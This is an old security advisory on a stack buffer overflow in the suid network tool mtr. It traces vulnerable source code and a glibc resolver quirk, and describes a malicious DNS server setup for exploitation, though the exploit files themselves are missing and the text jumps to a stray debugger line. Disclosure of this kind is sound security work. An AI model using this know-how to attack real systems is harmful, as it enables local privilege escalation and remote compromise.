Name: Mtr - network diagnostic tool. Author: Adam Zabrocki or Date: February 28, 2008 Issue: Mtr allows local and remote attackers to overflow buffer on stack. Description: Mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool. For more detail please read manual page. Details: It is possible to overflow buffor on stack in suid program - mtr. Remote attack is possible too. Bug is in function which print result of runing program with parametr 'split' (-p). Victim must use DNS which we can control or we can try exploit this vulnerability by spoofing technique. In remote exploiting this vulnerability we must know which IP user gave to program - or he must simply run program and argument must be IP adres which we can controle in DNS server. Look for this code: "split.c" #define MAX_LINE_SIZE 256 void split_redraw(void) { int max; int at; ip_t *addr; char *name; char newLine[MAX_LINE_SIZE]; int i; ... for(at = 0; at < max; at++) { addr = net_addr(at); if( addrcmp( (void *) addr, (void *) &unspec_addr, af ) != 0 ) { name = dns_lookup(addr); [1] if(name != NULL) { /* May be we should test name's length */ [!!] sprintf(newLine, "%s %d %d %d %d %d %d", name, [2] net_loss(at), net_returned(at), net_xmit(at), net_best(at) /1000, net_avg(at)/1000, net_worst(at)/1000); } else { ... sprintf(newLine, "???"); } ... ... } } As we can see in [2] there is unsecure call for function sprintf(). Argument 'name' is RevDNS for IP address. In details exploiting this situaction will be later becouse normal we can't do that! Now let's look what call this function: "display.c" void display_redraw(void) { switch(DisplayMode) { ... case DisplaySplit: /* BL */ split_redraw(); break; ... } } Call for function display_redraw() is here: "select.c" void select_loop(void) { ... ... while(1) { ... ... do { if(anyset || paused) { ... } else { if(Interactive) display_redraw(); ... ... } } while ((rv < 0) && (errno == EINTR)); ... ... } return; } And call for this functio is here: "display.c" void display_loop(void) { switch(DisplayMode) { case DisplayReport: case DisplayTXT: case DisplayXML: case DisplayCSV: case DisplaySplit: /* BL */ case DisplayCurses: case DisplayRaw: select_loop(); break; case DisplayGTK: gtk_loop(); break; } } Call for function display_loop() is in main function: "mtr.c" int main(int argc, char **argv) { ... ... display_loop(); ... return 0; } Value for variable 'Interactive' is here: "mtr.c" int Interactive = 1; void parse_arg (int argc, char **argv) { ... ... while(1) { /* added f:m:o: byMin */ opt = getopt_long(argc, argv, "vhrxtglpo:i:c:s:b:Q:na:f:m:46", long_options, NULL); if(opt == -1) break; switch(opt) { ... case 'p': /* BL */ DisplayMode = DisplaySplit; break; ... } if (DisplayMode == DisplayReport || DisplayMode == DisplayTXT || DisplayMode == DisplayXML || DisplayMode == DisplayRaw || DisplayMode == DisplayCSV) Interactive = 0; ... } So we must run program with option '-p' to be in function split_redraw(). Ok it is the first topic of this advisory. Let's look how to exploit it. In place [1] we can saw this line: name = dns_lookup(addr); [1] so we must look how we can controle value of this variable. Look here: "dns.c" char *dns_lookup(ip_t * ip) { char *t; if (!dns) return strlongip (ip); t = dns_lookup2 (ip); return (t&&use_dns)?t:strlongip(ip); } and function dns_lookup2() is here: "dns.c" char *dns_lookup2(ip_t * ip) { struct resolve *rp; if ((rp = findip(ip))) { ... ... } rp = allocresolve(); rp->state = STATE_PTRREQ1; rp->expiretime = sweeptime + ResRetryDelay1; addrcpy( (void *) &(rp->ip), (void *) ip, af ); linkresolve(rp); addrcpy( (void *) &(rp->ip), (void *) ip, af ); linkresolveip(rp); sendrequest(rp,T_PTR); return NULL; } funkction linkresolve/linkresolveip initialize data for new data (address/domain) and once again try to find this in cache. So let's look for function sendrequest(): "dns.c" void sendrequest(struct resolve *rp,int type) { do { idseed = (((idseed + idseed) | (long)time(NULL)) + idseed - 0x54bad4a) ^ aseed; aseed^= idseed; rp->id = (word)idseed; } while (findid(rp->id)); linkresolveid(rp); resendrequest(rp,type); } linkresolveid() try to find this id in cache :) So look for resendrequest(): "dns.c" void resendrequest(struct resolve *rp,int type) { if (type == T_A) { ... ... } else if (type == T_PTR) { switch ( af ) { case AF_INET: sprintf(tempstring,"%u.%u.%u.%u.in-addr.arpa", ((byte *)&rp->ip)[3], ((byte *)&rp->ip)[2], ((byte *)&rp->ip)[1], ((byte *)&rp->ip)[0]); break; #ifdef ENABLE_IPV6 case AF_INET6: addr2ip6arpa( &(rp->ip), tempstring ); break; #endif } dorequest(tempstring,type,rp->id); ... ... } } and function dorequest() make and send quero PTR for DNS server: "dns.c" void dorequest(char *s,int type,word id) { packetheader *hp; int r,i; int buf[(MaxPacketsize/sizeof (int))+1]; r = res_mkquery(QUERY,s,C_IN,type,NULL,0,NULL,(unsigned char*)buf,MaxPacketsize); if (r == -1) { restell("Resolver error: Query too large."); return; } hp = (packetheader *)buf; hp->id = id; /* htons() deliberately left out (redundant) */ for (i = 0;i < _res.nscount;i++) (void)sendto(resfd,buf,r,0,(struct sockaddr *)&_res.nsaddr_list[i], sizeof(struct sockaddr)); } ... and reply from server is examined in select_loop() function: "select.c" void select_loop(void) { ... ... while(1) { ... if (dns) { /* Handle any pending resolver events */ dnsinterval = WaitTime; dns_events(&dnsinterval); } /* Have we finished a nameservice lookup? */ if(dns && FD_ISSET(dnsfd, &readfd)) { dns_ack(); anyset = 1; } ... } ... } and function dns_ack() is here: "dns.c" void dns_ack(void) { int r,i; r = recvfrom(resfd,(byte *)resrecvbuf,MaxPacketsize,0, from, &fromlen); if (r > 0) { ... ... if (i == _res.nscount) { ... } else parserespacket((byte *)resrecvbuf,r); } else { ... } } So we must look for function parserespacket(). It's realy big and advanced function so i paste only what we must see. Look: "dns.c" void parserespacket(byte *s, int l) { .., packetheader *hp; ... ... hp = (packetheader *)s; ... ... ... eob = s + l; c = s + HFIXEDSZ; switch (getheader_rcode(hp)) { case NOERROR: if (hp->ancount) { ... ... switch (qdatatype) { case T_PTR: if (!Is_PTR(rp)) if (debug) { restell("Resolver warning: Ignoring response with unexpected query type \"PTR\"."); return; } break; default: sprintf(tempstring,"Resolver error: Received unimplemented query type: %u (%s)", qdatatype,qdatatype < ResourcetypeCount ? resourcetypes[qdatatype] : resourcetypes[ResourcetypeCount]); restell(tempstring); } for (rr = hp->ancount + hp->nscount + hp->arcount;rr;rr--) { ... ... datatype = sucknetword(c); ... if (datatype == qdatatype || datatype == T_CNAME) { ... } if (usefulanswer) switch (datatype) { ... ... case T_PTR: case T_CNAME: *namestring = '\0'; r = dn_expand(s,s + l,c,namestring,MAXDNAME); [3] ... ... } ... } ... } ... } ... } ... } ... } As we can see in [3] to decode packet is using function dn_expand(). This function return strange value for some 'special bad' packets! Is it bug? - for me yes becouse in manual and other docs i don't find information about it - i saw that in glibc code - ok nvm. This function return decoded string in this situation in buffer 'namestring' and length for this bufor is MAXDNAME. Bufor 'namestring' is declarated here: "dns.c" char namestring[1024+1]; and value for MAXDNAME we can find here: "/usr/include/arpa/nameser.h" #define NS_MAXDNAME 1025 /* maximum domain name */ So... in fact vulnerability function will try to copy by function sprintf string for bufor wich have length 256 bytes. Max domain length is 1025 but all tests in program 'mtr' which i don't paste (if you want just look for source code) don't allow domain which is longer than 256 bytes (but function dns_ack() call function recvfrom() which have argument to read 512 data bytes). In fact there is bug too becouse after domain name program paste some data about time, date and etc. but in fact it don't overflow metadata and variables which we overflow aren't used anymore so this bug is not interesting. Now we must use 'bug' in libresolve library in function dn_expand(). Let's look for source - glibc source and i paste from version 2.3.6, this is probably in all versions of glibc: "resolv/res_comp.c" int dn_expand(const u_char *msg, const u_char *eom, const u_char *src, char *dst, int dstsiz) { int n = ns_name_uncompress(msg, eom, src, dst, (size_t)dstsiz); if (n > 0 && dst[0] == '.') dst[0] = '\0'; return (n); } libresolv_hidden_def (dn_expand) so no look for function ns_name_uncompres(): "resolv/ns_name.c" int ns_name_uncompress(const u_char *msg, const u_char *eom, const u_char *src, char *dst, size_t dstsiz) { u_char tmp[NS_MAXCDNAME]; int n; if ((n = ns_name_unpack(msg, eom, src, tmp, sizeof tmp)) == -1) return (-1); if (ns_name_ntop(tmp, dst, dstsiz) == -1) return (-1); return (n); } For saw bug we must look for function ns_name_ntop() if you want know what do function ns_name_unpack() look for source. Ok soo let's look for ns_name_ntop: "resolv/ns_name.c" int ns_name_ntop(const u_char *src, char *dst, size_t dstsiz) { const u_char *cp; char *dn, *eom; u_char c; u_int n; cp = src; dn = dst; eom = dst + dstsiz; while ((n = *cp++) != 0) { ... ... if (n == 0x41) { n = *cp++ / 8; if (dn + n * 2 + 4 >= eom) { __set_errno (EMSGSIZE); return (-1); } *dn++ = '\\'; *dn++ = '['; *dn++ = 'x'; while (n-- > 0) { c = *cp++; unsigned u = c >> 4; *dn++ = u > 9 ? 'a' + u - 10 : '0' + u; u = c & 0xf; *dn++ = u > 9 ? 'a' + u - 10 : '0' + u; } *dn++ = ']'; continue; } ... ... } *dn++ = '\0'; return (dn - dst); } libresolv_hidden_def (ns_name_ntop) As you can see if n == 0x41 it dump domain (in hex bytes)! What's is wrong? For example if domain will have value "aaa.pl" it's 6 bytes. Function will return dump for this domain and it will have ~(4*6) bytes. So for normal domain which for example we can set name max in 256 bytes function can return dump for this domain in ~(256*4) bytes. In fact in 'mtr' program we can bypass all tests and make domain which have length ~190 bytes and overflow bufor. It's not only stupid theory i made PoC code and use this 'bugs' to overflow bufor. So let's look for exploit... Exploit: I wrote patch for DNS server to exploit bug in 'mtr', which use 'bug' in libresolve. We must compile and run DNS server with config file which i enclose here. Diff for DNS server i enclose too. Server try too bind on interface which have IP address 192.168.1.200, evil domain is for IP 12.34.56.78, and main DNS server is set that have IP address 192.168.1.1 (remember to change registry in /etc/resolv.conf for nameserver!).

Try "help". (gdb) Ps. When I play at night with creating domain in specific form i be able to crash mtr without any options. I just run simple command like $mtr . Anyway i didn't write this config file and in future i can't do it again. When i read source for display with ncurses lib. i saw that i must overwrite buffer which is 1024 bytes lenght. So it is possible but i can't proof that in this time... or in night i was too sleepy and i saw what i want :) That's all. I test it on version 0.72 and 0.69. Probably all versions are vulnerability.
